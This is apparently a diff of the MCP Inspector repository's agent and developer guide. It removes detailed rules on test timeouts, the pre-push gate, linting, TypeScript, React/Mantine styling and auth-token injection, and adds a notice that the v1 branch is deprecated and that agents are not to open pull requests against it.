round trip (`oauth-interactive.test.ts`). Name the - constant and state the reason at the site. -- **A rule about what the code _does_ is asserted at runtime, not read out of - the source.** Both of this section's runtime checks - (`vitest.setup.shared.mts`, `clients/web/src/test/asyncUtilTimeout.test.ts`) - began as source scanning in #2334, and the review found a new valid - JavaScript spelling the scanner missed in five consecutive rounds — each fix - correct, each making it more parser-shaped, until it carried eight helpers - doing quote tracking and bracket balancing. Asking the runtime needs no - spelling to be anticipated and covers cases the scan could not reach at all. - Reach for `verify:*` when the question is about **configuration**, which a - tool can be asked to resolve; assert at runtime when it is about behavior. -- **A budget is stated, which is not the same as raised.** Testing Library's - `asyncUtilTimeout` is pinned at its own default in both web setup files - because raising it was *measured* and found to buy nothing: #2323's - three-arm run went red at 5000, and #2335's interleaved re-run on a leased - machine found no web test that lets a Testing Library wait expire on its - passing path and no difference between 1000 and 5000 beyond the guard - refusing the raised value. The hazard the rule guards against is still - real: a wait that is meant to expire — a test asserting something never - appears, a poll allowed to run out — spends its whole budget on the happy - path, so a raise is a proportional cost on exactly those tests. Measure - before raising a budget that a passing test can spend in full; the - call-site comment records both runs. -- **An inner budget must be strictly smaller than the budget enclosing it.** - `waitFor({ timeout: N })` inside a test whose own budget is `N` can never win: - the test expires first and reports a timeout naming neither the wait nor its - subject (#2292). So when two bounds cover the same work they must differ, and - the **inner** one — the one carrying the useful diagnostic — has to be the - tighter, which is arranged by raising the outer rather than shrinking the - inner. Both shapes in this repo read that way: `AppRenderer.test.tsx`'s 5s - `waitFor` inside a 15s test, and `clients/cli/__tests__/e2e.test.ts`'s 15s - child timer (which kills the process group and names the CLI) inside a 25s - test. -- **`retry` stays unset.** A retry turns a load-induced red into a silent green - on the only pre-push gate this repo has, and hides a real race behind a second - attempt. `vitest.setup.shared.mts` asserts it **at runtime**, in every - project, reading the value Vitest resolved for the test — so a per-test - option, a `describe` option, a project setting and a `--retry` flag all land - on the same check. -- **`maxWorkers` stays unset — on measurement, not by omission (#2336).** The - five forks-pool projects inherit `max(availableParallelism() - 1, 1)`; web's - `storybook` project runs the browser pool, whose own default is - `max(min(12, availableParallelism() - 1), 1)` and which was not measured (a cap set - there would apply, so it is not exempt — it just needs its own numbers). - Capping the forks pool to 4 was - measured at the leased baseline as +14% wall on the web unit suite and +39% - on `coverage:web` for zero fewer failures (0 of 18 runs either way), so the - cap is a permanent solo-run cost. The only thing it moved was one test's 5s - inner `waitFor` when two sessions ran suites at once — a site to fix, not a - reason to cap. The numbers, the sibling-session trade and what would reopen - the question are on the comment in `vitest.shared.mts`; do not add a - per-project cap without re-running that measurement. -- **The Playwright locator budgets the web smokes use are named constants in - `scripts/lib/browser-timeouts.mjs`** — raise one there, not at a call site. - The shared flow helpers (`deep-link-connect.mjs`, `mcp-app-flow.mjs`) - default to the same constants, so a budget that moves there moves for every - smoke at once. The process-level budgets are stated the same way in their - own modules — `DEFAULTS` in `announced-child.mjs` and `render-smoke.mjs`, - `SCRIPT_PROBE_TIMEOUT_MS` in `pty.mjs` — each with the measurement that - sized it (#2333). -- **Every CI job declares `timeout-minutes`, sized from observed runs.** It is - a hung-job guard, not a flake remedy — GitHub runners are not the contended - machine — so the rule is roughly twice the slowest run observed, rounded up - to the next five minutes, stated per job in `.github/workflows/main.yml` - with the range it was read from. A job that starts taking longer gets its - number raised there, with the new range; the 360-minute default it replaces - is how a hang blocks a runner for six hours. -- **Do not scale a fixed sleep.** A `setTimeout(r, N)` with no condition is not - a timeout: it always waits the full window, so raising it slows every passing - run and still races on a loaded one. Replace one with a condition wait when it - actually flakes (#2250). The single exception is the transition auto-settle in - `clients/web/src/test/renderWithMantine.tsx`, whose failure is silent and - displaced rather than loud and local — and there only its `RAF_SLACK_MS` term - moves, never the term derived from the component's own animation constant. - - -## Mandatory pre-push gate - -- **ALWAYS run `npm run format` before committing.** The **root** `format` auto-fixes `core/`, the root `scripts/` tooling, the root shared surface, and every client's scope in one shot. `validate` runs the non-fixing `format:check` and will fail in CI on any unformatted file, so run the auto-fixer first rather than letting `format:check` catch it. -- **`npm run local:gate` is the mandatory pre-push command.** It runs **every check** `.github/workflows/main.yml` runs, plus two local-only steps, so a green run here is the strongest predictor of a green CI this repo has: every check CI applies has already passed on your machine. It is not a proof — CI runs on a different OS and, since #2341, runs each client's suite bare where the gate runs it only instrumented — so the one residual is a test that passes *only* when slowed down, which is a race (#1596) to fix, never headroom to keep. Expect several minutes. -- **The gate runs each client's test suite once, instrumented; CI runs it twice (#2341).** CI's `build` job runs the bare `test` inside `validate` and its parallel `coverage` job runs `test:coverage`, which costs CI no wall clock. Serially in one process the bare pass was ~80s of a ~370s gate, re-running exactly the files the coverage pass runs a few minutes later — so the gate calls **`local:validate`**, which is `validate` minus each client's `test` leg (every client's `validate` is `check && test`, and `local:validate` runs the `check` half). "Every check" is therefore a claim about checks, not invocations, and it holds because `@vitest/coverage-v8` collects coverage from V8's own profiler (`Profiler.takePreciseCoverage`) and rewrites no source: a test file sees identical code either way, and the instrumented run is only *slower*, which makes it the stricter of the two for the failure class this repo actually sees (a correct test cut off under load). A test that passed only *because* it ran slower would be a race — #1596's class, a defect wherever it surfaces — and CI's bare pass still runs it. **`npm run validate` is unchanged**, because CI runs it directly and it is the inner-loop check; `verify:*` guards that ask "is this reachable from `validate`" are unaffected. `local:validate` lives in the `local:` namespace so the workflow guard keeps it out of CI by construction. -- **`npm run validate` is the fast inner-loop check and is NOT an acceptable substitute.** It runs `test`, not `test:coverage`, so it does **zero** coverage gating, no smokes, and no Storybook tests. Skipping the gate is how a push passes every fast local check and still fails CI. -- **Concurrent gates queue; they do not overlap.** `local:gate` takes a machine-wide lease (`scripts/gate-lease.mjs`, #2339) so a gate started in a second worktree waits for the first rather than running alongside it. Overlap is not merely slow — the web smokes bind fixed ports, so two gates reaching the same smoke together go red on a diff that cannot have caused it (measured: one of two concurrent gates failed at 279s on port 6298 while a quiet gate passed in 257s). The wait names the holder and its worktree; a holder that dies releases within 30s (unless its lock directory cannot be removed, in which case the wait runs to its 45-minute cap and names the path); `INSPECTOR_SKIP_GATE_LEASE=1` bypasses it, which is for a measurement that _needs_ contention, never for getting a result sooner — the queued run finishes sooner anyway. -- There is deliberately **no `npm run ci`** — that name collided with the `npm ci` built-in, which clean-installs from the lockfile and does not run this script. -- What each stage covers, and why two of them are local-only, is [`docs/quality-gate.md`](./docs/quality-gate.md); how to diagnose a failing stage is the `pre-push-gate` skill. - -## Waiting on long-running work - -**When you are waiting for something to finish, arm a notifier and stop. Never spend turns polling.** The harness re-invokes you when a backgrounded task exits, so a per-turn `echo ok`, or a per-turn `tail`/`grep` of a log, delivers nothing the notification would not have delivered anyway. It burns turns and tokens, it pushes the actual work further from the top of the context window in exactly the long sessions where that hurts most, and it buries the verdict under dozens of identical no-op turns so nobody reading back can find where the run actually landed. Waiting out one `local:gate` run cost ~80 consecutive no-op turns on #2250 while a completion notifier for that very process was already armed. - -Pick by how many notifications the wait needs: - -- **One — "tell me when this finishes."** Background the command itself, or a single `until` loop that exits on the condition. The `local:gate` run and a Copilot review round are both this shape. -- **Many — "tell me on each occurrence."** A `Monitor` over a stream that emits one line per event. - -**The one genuine exception is state the harness cannot observe** — a CI run, a remote review queue, an external job. That does need polling. But the poll belongs **inside a single backgrounded loop that exits when the condition holds**, not spread one call per turn across the conversation. Set its interval from how fast the state actually changes: 30s or more for a remote API, and one check for an eight-minute CI run rather than eight. - -⚠️ **If a notifier is already armed, that settles it — wait.** Re-checking by hand alongside a watcher that is watching the same condition is the polling this rule forbids, dressed as diligence. - -## Build output is never a gate target - -**No gate — lint, format, or typecheck — may read generated output.** The gated surface is first-party source only: `clients/*/src`, `clients/*/__tests__`, `clients/web/{server,.storybook}`, each client's top-level configs, `core/`, `test-servers/src`, `scripts/`, and the root shared files. Everything a build writes is out of scope: `clients/*/build` (the tsup/tsc bundles), `clients/web/dist` (the Vite SPA), `clients/web/storybook-static`, `clients/*/coverage`, `test-servers/build`, `core/**/{build,dist}`, and any `*.tsbuildinfo`. Each scope states this itself — `globalIgnores([...])` in every `eslint.config.js`, the `format`/`format:check` globs in each `package.json`, and a tsconfig `include` that names source directories rather than the package root. - -Why it matters, given that these paths are all gitignored and the findings are usually warnings: - -- **It reports defects nobody can fix.** A bundle vendors third-party code, so a rule that fires inside it names a problem in someone else's source. `clients/web` shipped this for a while: `build` was missing from its `globalIgnores` while its three sibling clients had it, so the client's _only_ lint output was an unused-`eslint-disable` warning from inside the vendored `undici` (#2043). -- **A warning becomes a gate failure without warning.** `reportUnusedDisableDirectives` is a warning by default and a rule promotion — or any new rule a bundled dependency happens to trip — turns it into a `validate` failure on a file nobody wrote. #1959 (enabling `no-floating-promises` across all five scopes) is exactly that kind of change. -- **It trains people to skim the channel.** A scope whose lint is never clean has no signal left in it, and the real warning added later lands where everyone has learned to look past. -- **It is wasted work on every run.** `lint` runs inside `validate`, the fast inner-loop check, and the web runner bundle alone is ~1.2MB of generated JS. - -The two coverage guards do **not** catch this, and adding a third is not the fix. `verify:format-coverage` and `verify:typecheck-coverage` assert that first-party source is _covered_; neither asserts that generated output is _excluded_ — an asymmetry that is deliberate, since a guard can't distinguish "generated" from "source" without being told, and the ignore lists are already that statement. So this class drifts silently and the check is a human one: **when a build starts writing to a new location, add it to that scope's ignore list in the same change.** The reverse of the guards' rule also holds — never widen an ignore to silence a finding in first-party code, and never add a build directory to a tsconfig `include` to make a generated `.d.ts` resolve (import the source, or fix the build's types). - -## Lint has no warning tier - -**Every `lint` script runs with `--max-warnings 0`, so a warning fails `validate` exactly as an error does (#2085).** All six scopes carry the flag — each of `clients/{web,cli,tui,launcher}`'s `eslint .`, plus the root's `lint:core` and `lint:shared`. - -This exists because the gate's promise — that a green `npm run local:gate` means every check CI applies has already passed — was kept while a real bug walked through it. `react-hooks/exhaustive-deps` ships at `warn` in the recommended set, and two `useCallback`s in `App.tsx` omitted a non-stable `refresh` from their dependency arrays; ESLint printed the right message on both lines on every run, nothing consumed it, and the stale closure was caught only by a review round on #2076. It is the same argument [Build output is never a gate target](#build-output-is-never-a-gate-target) makes from the other direction: a channel nobody fails on is one people learn to skim. - -Two consequences worth stating: - -- **Do not silence a finding to satisfy the gate.** A warning is now a defect to fix. If a rule genuinely must be waived on a line, use its inline disable comment **with a one-line justification** — the same standard this document sets for `v8 ignore` and for `void` on a floating promise. Widening a `globalIgnores` or dropping a rule to make `lint` pass is not an acceptable fix. -- **A rule left at `warn` still reads wrong in an editor.** The flag makes severity irrelevant to the _gate_, not to the developer looking at a squiggle. `react-hooks/exhaustive-deps` is therefore set to **`error`** in every React scope (`clients/web`, `clients/tui`, and the root's `core/react/**` block) rather than relying on the CLI flag alone. Prefer `error` for any rule you actually intend to enforce. - -## Typescript instructions - -- Use TypeScript for all new code -- Follow TypeScript best practices and coding standards -- NEVER use 'any' as a type -- NEVER suppress error types (e.g., no-unused-vars, no-explicit-any) in the typescript or eslint configuration as a way of satisfying the linter or compiler. -- AVOID double casts (`as unknown as T`). They erase all type safety and usually signal that the real type is being worked around. Prefer a type guard, a narrower single `as` cast, or fixing the underlying type. When a double cast is genuinely unavoidable (e.g. a documented gap in a third-party type, or bridging a structurally-identical shape TS can't relate), it MUST carry an inline comment justifying why it is safe and why no better option exists — an unjustified `as unknown as` is not acceptable in review. -- Utilize type annotations and interfaces to improve code clarity and maintainability -- Leverage TypeScript's type inference and static analysis features for better code quality and refactoring -- Use type guards and type assertions to handle potential type mismatches and ensure type safety -- Take advantage of TypeScript's advanced features like generics, type aliases, and conditional types to write more expressive and reusable code -- Regularly review and refactor TypeScript code to ensure it remains well-structured and adheres to evolving best practices -- **NEVER leave a promise floating.** `@typescript-eslint/no-floating-promises` is enabled at `error` in **all five** ESLint scopes — `clients/{web,cli,tui,launcher}` and the root `core/` + shared gate (#1959). Every promise must be awaited, returned, terminated with `.catch(…)`, or explicitly discarded with the `void` operator. - - **The class it catches is invisible at review time.** A floated call reads like an awaited one minus four characters, and the unhandled rejection it produces surfaces somewhere else entirely — a different test, a different file, a stack pointing at SDK internals. Two un-held `client.callTool(...)` promises made `npm run local:gate` unpassable in #1947: `disconnect()` rejected them with `Connection closed`, the unhandled rejection failed the whole vitest run, and the chain aborted at `coverage`, silently skipping `verify:build-gate`, `smoke`, and Storybook. Attributing it took a full investigation; the fix was two lines. - - **Prefer holding and settling the promise.** `void` is an escape hatch, not a fix — it is visible at review time (strictly better than nothing) but still discards the rejection. Reach for it only when the callee already owns its failures (it ends in a `catch` that surfaces the message) or the caller genuinely cannot await — a synchronous `useEffect` body, an Ink `useInput` key handler, a Hono `stream.onAbort` listener. Say **which** of those it is in a one-line comment; an unexplained `void` is a review finding. Where the callee does _not_ own its failures, give it a `catch` rather than voiding the call (see `handleDisconnect` in `clients/tui/src/App.tsx`), or terminate with `.catch(…)` at the call site (see `open(url)` in `clients/web/server/{server,vite-hono-plugin}.ts`). - - **In Storybook play functions, `expect(...)` from `storybook/test` returns a promise.** Storybook instruments it so the interactions panel can trace each assertion, so every `expect` in a play function is awaited — as is any shared helper that wraps one (`src/test/scrollAreaStoryAssertions.ts` is `async` for this reason). - - **The rule is type-aware, so each scope's ESLint config carries a parser project.** Each client's config must name **every leaf project covering its lint surface**, since the parser needs a program that literally _contains_ the file — for cli, tui, and launcher that is the two they already typecheck (`tsconfig.json` + `tsconfig.test.json`, `src` in the first and `__tests__` only in the second), and for **web it is four** (`tsconfig.app.json`, `tsconfig.node.json`, `tsconfig.storybook.json`, `tsconfig.test.json`) — web's `tsconfig.json` is a solution file with `files: []`, so naming it alone would contain nothing. Adding a leaf project to a client means adding it here too. The root config instead points at **`tsconfig.lint.json`**, which exists solely to give the parser a program covering `core/**`, `test-servers/src/**`, and `vitest.shared.mts` — none of which is rooted in a tsconfig of its own. That file emits nothing and gates nothing: type _checking_ for those sources stays where it was (`core/` through `clients/web`'s `tsc -b`, `test-servers/src` through `clients/cli`'s test project). It sets `moduleResolution: bundler` deliberately — `core/` uses extensionless relative imports, which NodeNext fails to resolve, degrading every import to `any` so the rule silently stops seeing promises at all. **Its `include` must stay a superset of the root config's type-aware `files` globs** — a file the lint block matches but the project omits fails outright with "was not found in any of the provided project(s)" rather than being checked, so widening one means widening the other (that is why the `include` carries `test-servers/src/**/*.tsx`, which nothing has produced yet). Note also that a tsconfig `include` does **not** expand braces — `core/**/*.{ts,tsx}` matches nothing; list the extensions separately. - - Type-aware linting costs real time: `clients/web`'s `eslint .` went from ~8s to ~19s, and `lint` runs inside `validate`, the fast inner-loop check. That is the price of the guarantee; if it needs reducing later, narrowing the projects each scope loads is the lever, not dropping the rule. - -## Web source layout: `src/lib` vs `src/utils` - -The web client keeps two grab-bag directories under `clients/web/src`, split by a real (now codified) rule — **`utils` = functions that compute; `lib` = things that instantiate, adapt, or touch the environment.** If it does I/O or wraps a subsystem, it's `lib`; if it's a pure transform, it's `utils`. - -- **`src/utils/`** — pure, side-effect-free functions. Input → output, no DOM/browser/storage I/O, no subsystem ownership. Trivially unit-testable with no mocks. (Anchors: `jsonUtils`, `schemaUtils`, `toolUtils`, `maskSecrets`, `inspectorTabs`, `deepLink`, `mcpNetworkHeaders`, `errorFormat`, `stepUp`, and the toast-id/formatter modules under `utils/toasts/`.) Carve-outs that are still `utils`: - - _Domain types._ Pure **shared domain types plus their pure constructors/transforms** live here (`customHeaders` — `CustomHeader` + `headersToRecord`/`migrateFromLegacyAuth`, a shape staged for `ServerSettingsForm`, see `specification/v2_ux_interfaces_plan.md`, so it currently has no importer but its own test). There is no `types/` sub-bucket **inside** `lib`/`utils` — removing `lib/types/` is what the `customHeaders` move settles. - - _Diagnostic logging._ `console.warn`/`console.error` does **not** count as a side effect for this rule — a validator that warns on bad input is still "pure" here (`sandbox-csp`, `jsonUtils`, `schemaUtils` all warn). - - _Importing from `@inspector/core`._ Two forms are fine: a **type-only** import is not a subsystem dependency (`pendingReauth` is pure type declarations), and **re-exporting pure functions or constants** from core is not subsystem ownership either (`oauthUx`/`oauthFlow` re-export core copy/predicates). What makes a module `lib` is wrapping core's _stateful runtime_, not merely importing from it. -- **`src/lib/`** — infrastructure / integration / stateful adapters. Modules that instantiate or compose subsystems, wrap the `@inspector/core` **runtime** (not just its types), touch the DOM / `window` / `sessionStorage`, or otherwise produce side effects. (Anchors: `environmentFactory` composes `InspectorClientEnvironment`; `remoteOAuthStorage` is an adapter class over `core/auth`; `oauthResume` reads/writes `sessionStorage`; `browserTabVisibility` registers `visibilitychange` listeners; `clearServerOAuthState` drives the live `InspectorClient` / `OAuthStorage`; `downloadFile` triggers browser downloads; `authToken` reads `window.location` and `sessionStorage`; `protocolReplay` re-issues a request through the live `InspectorClient`.) - -The top-level **`src/types/`** is a sibling of both and is not the place for new domain types — it's now purely the home for ambient `.d.ts` module stubs (e.g. the `react-syntax-highlighter` shims wired through `tsconfig.app.json` `paths`). The last plain-`.ts` domain type there, the dead `navigation.ts` `InspectorTab`, was removed in #1785, so a pure domain type belongs in `utils/`, not `src/types/`. - -Cross-directory imports point **one way, `lib → utils`** (infra depends on pure helpers, never the reverse). Keep it that way: if a `utils/` module needs a type currently exported from a `lib/` module, declare the type in `utils/` and re-export it from `lib/` (as `pendingReauth` owns `OAuthResumeAuthKind` and `oauthResume` re-exports it), rather than importing "up" from `utils` into `lib`. - -Nothing **enforces** the boundary: no path alias keys off it, and the coverage `include` in `clients/web/vite.config.ts` lists **both** `src/lib/**` and `src/utils/**`, so a move between them is coverage-neutral (this is why the refactor was gate-safe). It's a human-legible signal at import time, valuable in a codebase this test-heavy (the ≥90% per-file gate). Note that `include` is a **whitelist** — it names `components`/`hooks`/`theme`/`lib`/`utils`/`server` (plus the `core/*` runtime; `hooks` and `theme` were added in #1787), so a module placed **outside** those directories (`types/`, `App.tsx`, or a brand-new grab-bag) falls out of the ≥90 gate entirely, silently. The **deliberate, documented** top-level-file exceptions are `src/App.tsx` — a ~3.2k-line composition root at ~42% branch coverage (gating it is a dedicated testing/decomposition effort, not a whitelist tweak) — and the `src/main.tsx` / `src/index.ts` bootstraps (browser `createRoot` render and the bin `runWeb` re-export, the analog of `clients/cli`'s excluded `src/index.ts`). All three are called out in a comment on the `include` array itself rather than left silent. When adding a module, place it by the rule and keep it inside a gated directory; when it genuinely mixes both (e.g. `downloadFile` bundles DOM-side-effect helpers with a couple of pure ones), keep it whole on its dominant side (`lib`) rather than splitting hairs. - -## React instructions - -- UI Components - - We are using the Mantine component library for UI. - - Instructions are at https://mantine.dev/llms.txt - - Avoid using div and other basic HTML elements for layout purposes. - - Prefer Mantine's Box, Group, and Stack components for layout. - - Use Mantine's theme and styling utilities to ensure a consistent and responsive design. - - NEVER use inline styles on a component. - - NEVER use raw hex values (`#ddd`, `#94a3b8`, etc.) or `rgba()` literals for colors in component props or theme files. Use `--inspector-*` CSS custom properties defined in `App.css :root` (e.g., `c: 'var(--inspector-text-primary)'`). If no existing token fits, add one to `:root` first. - - NEVER add a CSS class to a Mantine component when the styles can instead be expressed as component props or a theme variant. CSS classes are a last resort. - - PREFER component props (via `.withProps()`) to CSS for behavioral and visual styles. - - PREFER defining styles as theme variants (via `Component.extend()` in `src/theme/<Component>.ts`) over CSS classes. Each Mantine component with custom variants has its own file in `src/theme/`, exporting a `Theme<Name>` constant. The barrel `src/theme/index.ts` re-exports them all and `theme.ts` imports from the barrel. Flat CSS properties (margin, padding, background, border, color, font-size, etc.) belong in the theme. Only pseudo-selectors, nested child selectors, keyframes, and native HTML element styles belong in App.css. - - App.css must contain ONLY styles that cannot be expressed in the Mantine theme: `@keyframes`, pseudo-selectors (`:hover`, `:focus`), cross-component hover relationships, nested child-element selectors for third-party HTML output (e.g. ReactMarkdown), and styles for native HTML elements (`img`, `iframe`). When refactoring a component, actively move any flat CSS properties out of App.css and into theme variants or `.withProps()` constants. - - NEVER use inline code; instead extract to functions in the same file, exported or located in a shared location if immediately reusable. - - In a component's file, for sub-components: - - ALWAYS use Mantine components for layout and content, configured with props for styling and behavior. - - ALWAYS declare a meaningfully named subcomponent as a constant using `.withProps()` if an inline Mantine element carries two or more **static** props. A _static_ prop is one whose value is a literal that configures the element's **styling, layout, or behavior** (`size="sm"`, `c="dimmed"`, `fw={500}`, `gap="xs"`, `justify="space-between"`, `variant="light"`, `withBorder`, `readOnly`, `striped`, …); dynamic props (`value`, `onChange`/`on*`, `children`, `key`, `ref`, and anything whose value is a variable/expression) do **not** count toward the two and are passed at the call site, not baked into the constant. Purely per-instance **content/accessibility** literals — `label`, `description`, `placeholder`, `title`, `aria-label`, `role` — likewise do **not** count toward the two (a `<Checkbox label="…" description="…">` with no styling/layout/behavior props stays inline); they may be baked into a constant when it already qualifies and doing so aids reuse, but they never by themselves trigger extraction. This rule applies in **all** cases: "repeated pattern" is NOT the bar — a single-use element with two or more static styling/layout/behavior props must still be extracted. Bake the static props into the `.withProps()` constant and pass the dynamic ones where it's rendered. - - The following **cannot** be expressed via `.withProps()` and so stay inline (like `Box` below), each with a one-line comment saying why: **`Accordion`** (a compound, `multiple`-discriminated generic — `.withProps({ multiple: true, … })` loses its JSX call signature and fails to type); **headless, non-`factory()` Mantine components** such as **`Transition`** (plain function components with no Styles API — they have no `.withProps` static at all, e.g. `Transition.withProps` is a TS2339); and **`data-*` attributes** (not part of a component's typed props object, so excess-property-checked out of a `withProps` literal — pass them at the call site). The rule targets factory-based (Styles-API) Mantine components; anything that isn't one is out of scope entirely — a third-party element (a `react-icons` glyph, another library's component) **and** a first-party component that isn't a Mantine factory (a dumb `export function` like `ContentViewer`, which has no `.withProps` static of its own). - - NEVER use `Box` for subcomponent constants — `Box` does not support `.withProps()`. Use `Group`, `Stack`, `Flex`, `Text`, `Paper`, `UnstyledButton`, or `Image` instead. Pick the component that best matches the purpose: `Paper` for bordered/surfaced containers, `Text` for any text or content wrapper, `Stack`/`Group`/`Flex` for layout. A `Box` that genuinely needs a non-flex primitive it can't provide — `component="iframe"`, or `display="grid"` (no Mantine flex primitive is a CSS grid) — stays a `Box` inline, with a one-line comment saying why. - - NEVER use a CSS class on a subcomponent constant when the styles can be expressed as a Mantine theme variant instead. Define variants in `src/theme/<Component>.ts` using `Component.extend({ styles: (_theme, props) => { ... } })` and reference them with `variant="variantName"` on the component or in `.withProps()`. - - CSS classes are ONLY acceptable on subcomponents for styles that cannot be expressed as flat CSS-in-JS properties in the theme — specifically: pseudo-selectors (`:hover`, `:focus`), cross-component hover relationships (`.parent:hover .child`), nested child-element selectors (`.wrapper p`, `.wrapper code`), `@keyframes` definitions, and native HTML elements (`img`, `iframe`) that are not Mantine components. - - When a theme variant needs a CSS class for nested/pseudo selectors, use `classNames` in the theme extension to auto-assign it — never add `className` manually in JSX for theme-styled components. - - Example — subcomponent constant with `withProps`: - - ```tsx - const CardContent = Group.withProps({ - flex: 1, - align: "flex-start", - justify: "space-between", - wrap: "nowrap", - }); - return <CardContent> ... </CardContent>; - ``` - - Example — theme variant with auto-assigned className for nested selectors: - - ```tsx - // src/theme/Paper.ts - export const ThemePaper = Paper.extend({ - classNames: (_theme, props) => { - if (props.variant === "message") return { root: "message" }; - return {}; - }, - styles: (_theme, props) => { - if (props.variant === "message") { - return { root: { padding: "1.5rem", borderRadius: 12 } }; - } - return { root: {} }; - }, - }); - - // Component.tsx - const MessageContainer = Paper.withProps({ variant: "message" }); - ``` - -- State and effects - - **NEVER reset or re-sync local state from a prop inside a `useEffect`.** `useEffect(() => setX(prop), [prop])` renders once with the stale value, paints it, and only then corrects itself — the user sees the wrong frame and React renders twice. It is an error under `react-hooks/set-state-in-effect`, which the `eslint-plugin-react-hooks` recommended set enforces for the web client and — since #2192 — for `core/react/` too. (`clients/tui` registers the plugin but deliberately enables only `rules-of-hooks` and `exhaustive-deps`, for the reason its own config states.) - - Use **`useValueChange(value, onChange)`** (`clients/web/src/hooks/useValueChange.ts`) instead. It is React's documented ["adjusting state during render"](https://react.dev/reference/react/useState#storing-information-from-previous-renders) pattern: it compares `value` against the previous render's with `Object.is` and calls `onChange(next)` during render, so React discards the in-progress output and re-runs the component before anything reaches the DOM. It does **not** fire on the first render — seed the dependent state with `useState` instead. Because the comparison is `Object.is`, the value you pass **must be referentially stable** across renders that mean "no change": prefer a primitive key derived from the data (an id, a name, a URI), and otherwise a memoized value. A fresh object/array literal would compare unequal every render and loop. - - The `onChange` you pass runs **during render**, so it must be pure — `setState` calls and nothing else. No fetches, DOM writes, logging, ref mutation, or parent callbacks: a render can be replayed (StrictMode) or abandoned (concurrent React), so external work would run an unpredictable number of times. - - An effect is still the right tool for genuine synchronization with an external system (DOM measurement, `requestAnimationFrame`, subscriptions, timers). The rule is about deriving React state from React props, not about effects in general. `NetworkEntry` shows the split: the reveal's force-open is a state update and uses `useValueChange`, while its `requestAnimationFrame` scroll stays a `useEffect`. - - **Subscribing to an `@inspector/core` state store is `useSyncExternalStore`, never `useState` + a subscribing `useEffect`.** That second shape looks like the legitimate "synchronize with an external system" case above and is not, because it also _seeds and re-seeds local state from the store prop_ — so it carries the same stale frame (switching servers paints the previous server's tools for one frame) plus a window where an event dispatched between the render and the effect is lost outright. Every hook in `core/react/` was converted away from it in #1955. - - Reach for **`useStoreSnapshot(store, event, read, whenAbsent)`** (`core/react/useStoreSnapshot.ts`) when the getter returns a **fresh value per read** — a defensive copy (`getTools()` is `[...this.items]`) or a freshly built object (`getPagination()`). That is nearly all of them, and the caching it adds is what keeps `useSyncExternalStore` from looping. Call it once per value. - - When a getter's value is **already referentially stable**, subscribe with `useSyncExternalStore` directly and skip the helper — `useListError` does, because its snapshot is the stored `Error` instance itself (or `null`). The rule is read-during-render, not "always use the helper". - - Either way `useValueChange` is _not_ the tool here — it lives in `clients/web/src`, and `core/react/` is consumed by the CLI and TUI too. - - `read` and `whenAbsent` must be **referentially stable across renders** — they are part of the snapshot's cache key. `read` is a function, so declare it at module scope. `whenAbsent` only needs a module-scope constant when it is an **object or array** (`NO_TOOLS`, `NO_PAGINATION`); a primitive fallback (`false`, `undefined`, `"disconnected"`) is already stable under `Object.is` and is passed inline throughout these hooks. - - An unstable one **fails quietly, so don't expect to be told**: measured on React 19, an inline `read` throws nothing, logs nothing — not even React's "getSnapshot should be cached" dev warning, whose double-call happens within a single render where the closure is unchanged — and forces no extra render. It simply returns a fresh value every render, defeating every downstream `useMemo` / `React.memo` / effect dep that keys on it. - - The snapshot is cached against the store's **per-event dispatch counter** (`TypedEventTarget.getEventRevision`), which every dispatch advances automatically — not against the snapshot's contents. That is deliberate and load-bearing: these getters return a defensive copy, so contents are the only alternative, and a contents comparison cannot see a dispatch that mutated an entry the list already holds (`MessageLogState` folding a response into its request entry does exactly that). Don't "optimize" it into a shallow compare. - - Consequently the **store is the source of truth and the event is only the signal** — the hook re-reads the store rather than taking the event's `detail`. A test that fires a store event must put the value on the store first; dispatching alone announces a change that isn't there. A hand-rolled fake must extend the real `TypedEventTarget` (a bare `EventTarget` has no `getEventRevision` and fails at runtime). - - Genuinely local state accumulated from an event stream, with no getter to read it back from, stays `useState` — `useInspectorClient`'s `lastError` is the one such case. Reset it on a store swap **during render**, not in an effect. -- Theme files vs. Storybook element components - - **Theme files** (`src/theme/<Component>.ts`) and **element components** (`src/components/elements/`) serve different purposes and both are needed. - - Theme files customize every instance of a Mantine component app-wide — defaults (size, radius), custom variants, and global style overrides. They are applied automatically by `MantineProvider`. - - Element components add domain-specific semantics on top of Mantine primitives. For example, `AnnotationBadge` maps domain concepts (audience, destructive, longRun) to Mantine's styling primitives (color, variant). Storybook documents these domain components for designers and developers. - - Element components MUST import from `@mantine/core`, NOT from `src/theme/`. The theme layer is applied transparently by the provider — elements do not need to know about `Theme<Name>` constants. - - NEVER push domain-specific variant logic (e.g., annotation types, transport types) into theme files. Domain variants belong in the element component that owns those semantics. Theme files are for styling that applies to the Mantine primitive globally. - -## Web backend auth token - -The dev/prod web backend protects every `/api/*` route with `x-mcp-remote-auth: Bearer <MCP_INSPECTOR_API_TOKEN>`. The browser recovers that token from three sources, in priority order (see `App.tsx` `getAuthToken()`): - -1. `window.__INSPECTOR_API_TOKEN__` — injected into `index.html` on every page load by the backend (the dev Vite plugin via `transformIndexHtml`, the prod Hono server on the `/` route), both routed through `clients/web/server/inject-auth-token.ts`. This is what makes a bare-URL reload, a bookmark, or a cleared `sessionStorage` keep working. -2. `?MCP_INSPECTOR_API_TOKEN=…` query string — the URL the launcher banner prints; kept as a fallback for pasted full URLs. -3. `sessionStorage` — backstop for navigations that land without either of the above. - -Injection is a no-op when auth is disabled (`DANGEROUSLY_OMIT_AUTH`), and the global name is the shared `INSPECTOR_API_TOKEN_GLOBAL` constant in `core/mcp/remote/constants.ts`. +# MCP Inspector Development Guide + +> # ⛔ v1 is deprecated — do not open pull requests against this branch +> +> **This branch (`v1/main`) accepts security fixes only, and only by way of +> issue creation.** +> +> **Agents must NEVER attempt to create a pull request against `v1/main`.** File +> an issue describing the security problem instead.

